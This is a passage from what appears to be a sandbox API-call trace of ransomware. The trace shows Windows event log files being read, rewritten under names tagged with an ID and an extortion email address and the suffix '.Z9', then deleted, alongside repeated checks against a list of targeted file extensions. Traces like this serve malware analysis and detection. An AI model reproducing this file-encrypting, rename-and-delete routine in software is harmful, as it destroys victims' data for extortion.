	[0078.924] ReadFile (in: hFile=0x360, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.924] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x128, lpOverlapped=0x0) returned 1
	[0078.924] SetEndOfFile (hFile=0x390) returned 1
	[0078.924] CloseHandle (hObject=0x390) returned 1
	[0078.928] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.928] SetEndOfFile (hFile=0x360) returned 1
	[0078.930] CloseHandle (hObject=0x360) returned 1
	[0078.930] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0078.930] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1
	[0078.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0078.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0078.930] lstrlenW (lpString=".doc") returned 4
	[0078.930] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.930] lstrlenW (lpString=".docx") returned 5
	[0078.930] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.930] lstrlenW (lpString=".pdf") returned 4
	[0078.930] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.931] lstrlenW (lpString=".xls") returned 4
	[0078.931] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.931] lstrlenW (lpString=".xlsx") returned 5
	[0078.931] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.931] lstrlenW (lpString=".ppt") returned 4
	[0078.931] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0078.931] lstrlenW (lpString=".zip") returned 4
	[0078.931] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.931] lstrlenW (lpString=".rar") returned 4
	[0078.931] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.931] lstrlenW (lpString=".bz2") returned 4
	[0078.931] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.931] lstrlenW (lpString=".7z") returned 3
	[0078.931] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0078.931] lstrlenW (lpString=".dbf") returned 4
	[0078.931] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0078.931] lstrlenW (lpString=".1cd") returned 4
	[0078.931] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0078.931] lstrlenW (lpString=".jpg") returned 4
	[0078.931] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0078.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0078.931] lstrlenW (lpString=".doc") returned 4
	[0078.931] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.931] lstrlenW (lpString=".docx") returned 5
	[0078.931] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.932] lstrlenW (lpString=".pdf") returned 4
	[0078.932] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.932] lstrlenW (lpString=".xls") returned 4
	[0078.932] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.932] lstrlenW (lpString=".xlsx") returned 5
	[0078.932] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.932] lstrlenW (lpString=".ppt") returned 4
	[0078.932] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0078.932] lstrlenW (lpString=".zip") returned 4
	[0078.932] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.932] lstrlenW (lpString=".rar") returned 4
	[0078.932] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.932] lstrlenW (lpString=".bz2") returned 4
	[0078.932] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.932] lstrlenW (lpString=".7z") returned 3
	[0078.932] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0078.932] lstrlenW (lpString=".dbf") returned 4
	[0078.932] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0078.932] lstrlenW (lpString=".1cd") returned 4
	[0078.932] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50
	[0078.932] lstrlenW (lpString=".jpg") returned 4
	[0078.932] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.932] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0078.933] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Operational.evtx") returned 48
	[0078.933] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0078.935] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1118208) returned 1
	[0078.935] CloseHandle (hObject=0x360) returned 1
	[0078.935] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20
	[0078.935] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.935] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0078.935] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.935] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.935] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.936] GetLastError () returned 0x0
	[0078.936] ReadFile (in: hFile=0x360, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0079.025] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0079.044] ReadFile (in: hFile=0x360, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11010, lpOverlapped=0x0) returned 1
	[0079.598] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11020, lpOverlapped=0x0) returned 1
	[0079.602] ReadFile (in: hFile=0x360, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.602] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x134, lpOverlapped=0x0) returned 1
	[0079.602] SetEndOfFile (hFile=0x390) returned 1
	[0079.603] CloseHandle (hObject=0x390) returned 1
	[0080.392] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.392] SetEndOfFile (hFile=0x360) returned 1
	[0080.417] CloseHandle (hObject=0x360) returned 1
	[0080.417] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0080.417] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1
	[0080.417] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0080.417] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0080.417] lstrlenW (lpString=".doc") returned 4
	[0080.417] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.417] lstrlenW (lpString=".docx") returned 5
	[0080.417] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.417] lstrlenW (lpString=".pdf") returned 4
	[0080.417] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.418] lstrlenW (lpString=".xls") returned 4
	[0080.418] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.418] lstrlenW (lpString=".xlsx") returned 5
	[0080.418] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.418] lstrlenW (lpString=".ppt") returned 4
	[0080.418] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.418] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0080.418] lstrlenW (lpString=".zip") returned 4
	[0080.418] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.418] lstrlenW (lpString=".rar") returned 4
	[0080.418] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.418] lstrlenW (lpString=".bz2") returned 4
	[0080.418] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.418] lstrlenW (lpString=".7z") returned 3
	[0080.418] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.418] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0080.418] lstrlenW (lpString=".dbf") returned 4
	[0080.418] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.418] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0080.418] lstrlenW (lpString=".1cd") returned 4
	[0080.418] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.418] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0080.418] lstrlenW (lpString=".jpg") returned 4
	[0080.418] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.418] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0080.418] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0080.418] lstrlenW (lpString=".doc") returned 4
	[0080.418] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.418] lstrlenW (lpString=".docx") returned 5
	[0080.418] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.419] lstrlenW (lpString=".pdf") returned 4
	[0080.419] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.419] lstrlenW (lpString=".xls") returned 4
	[0080.419] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.419] lstrlenW (lpString=".xlsx") returned 5
	[0080.419] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.419] lstrlenW (lpString=".ppt") returned 4
	[0080.419] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.419] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0080.419] lstrlenW (lpString=".zip") returned 4
	[0080.419] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.419] lstrlenW (lpString=".rar") returned 4
	[0080.419] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.419] lstrlenW (lpString=".bz2") returned 4
	[0080.419] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.419] lstrlenW (lpString=".7z") returned 3
	[0080.419] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.419] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0080.419] lstrlenW (lpString=".dbf") returned 4
	[0080.419] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.419] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0080.419] lstrlenW (lpString=".1cd") returned 4
	[0080.419] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.419] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0080.419] lstrlenW (lpString=".jpg") returned 4
	[0080.419] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.420] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0080.420] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 48
	[0080.420] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0080.420] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=69632) returned 1
	[0080.420] CloseHandle (hObject=0x360) returned 1
	[0080.421] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20
	[0080.421] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.421] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0080.421] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.421] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.421] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0080.421] GetLastError () returned 0x0
	[0080.421] ReadFile (in: hFile=0x360, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.424] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.426] ReadFile (in: hFile=0x360, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.426] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x134, lpOverlapped=0x0) returned 1
	[0080.427] SetEndOfFile (hFile=0x35c) returned 1
	[0080.427] CloseHandle (hObject=0x35c) returned 1
	[0080.429] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.429] SetEndOfFile (hFile=0x360) returned 1
	[0080.430] CloseHandle (hObject=0x360) returned 1
	[0080.430] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0080.430] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1
	[0080.431] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0080.431] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0080.431] lstrlenW (lpString=".doc") returned 4
	[0080.431] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.431] lstrlenW (lpString=".docx") returned 5
	[0080.431] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.431] lstrlenW (lpString=".pdf") returned 4
	[0080.431] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.431] lstrlenW (lpString=".xls") returned 4
	[0080.431] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.431] lstrlenW (lpString=".xlsx") returned 5
	[0080.431] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.431] lstrlenW (lpString=".ppt") returned 4
	[0080.431] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.431] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0080.431] lstrlenW (lpString=".zip") returned 4
	[0080.431] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.431] lstrlenW (lpString=".rar") returned 4
	[0080.431] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.431] lstrlenW (lpString=".bz2") returned 4
	[0080.431] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.431] lstrlenW (lpString=".7z") returned 3
	[0080.431] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.431] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0080.431] lstrlenW (lpString=".dbf") returned 4
	[0080.431] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.431] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0080.431] lstrlenW (lpString=".1cd") returned 4
	[0080.431] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.431] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0080.431] lstrlenW (lpString=".jpg") returned 4
	[0080.431] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.432] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0080.432] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0080.432] lstrlenW (lpString=".doc") returned 4
	[0080.432] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.432] lstrlenW (lpString=".docx") returned 5
	[0080.432] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.432] lstrlenW (lpString=".pdf") returned 4
	[0080.432] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.432] lstrlenW (lpString=".xls") returned 4
	[0080.432] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.432] lstrlenW (lpString=".xlsx") returned 5
	[0080.432] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.432] lstrlenW (lpString=".ppt") returned 4
	[0080.432] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.432] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0080.432] lstrlenW (lpString=".zip") returned 4
	[0080.432] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.432] lstrlenW (lpString=".rar") returned 4
	[0080.432] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.432] lstrlenW (lpString=".bz2") returned 4
	[0080.432] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.432] lstrlenW (lpString=".7z") returned 3
	[0080.432] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.432] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0080.432] lstrlenW (lpString=".dbf") returned 4
	[0080.432] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.432] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0080.432] lstrlenW (lpString=".1cd") returned 4
	[0080.432] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.432] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0080.432] lstrlenW (lpString=".jpg") returned 4
	[0080.432] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.433] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0080.433] lstrlenW (lpString="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 78
	[0080.433] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0080.433] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1052672) returned 1
	[0080.433] CloseHandle (hObject=0x360) returned 1
	[0080.433] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20
	[0080.433] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.433] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0080.433] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.433] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.433] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0080.434] GetLastError () returned 0x0
	[0080.434] ReadFile (in: hFile=0x360, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0080.460] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0080.790] ReadFile (in: hFile=0x360, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0080.800] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x1020, lpOverlapped=0x0) returned 1
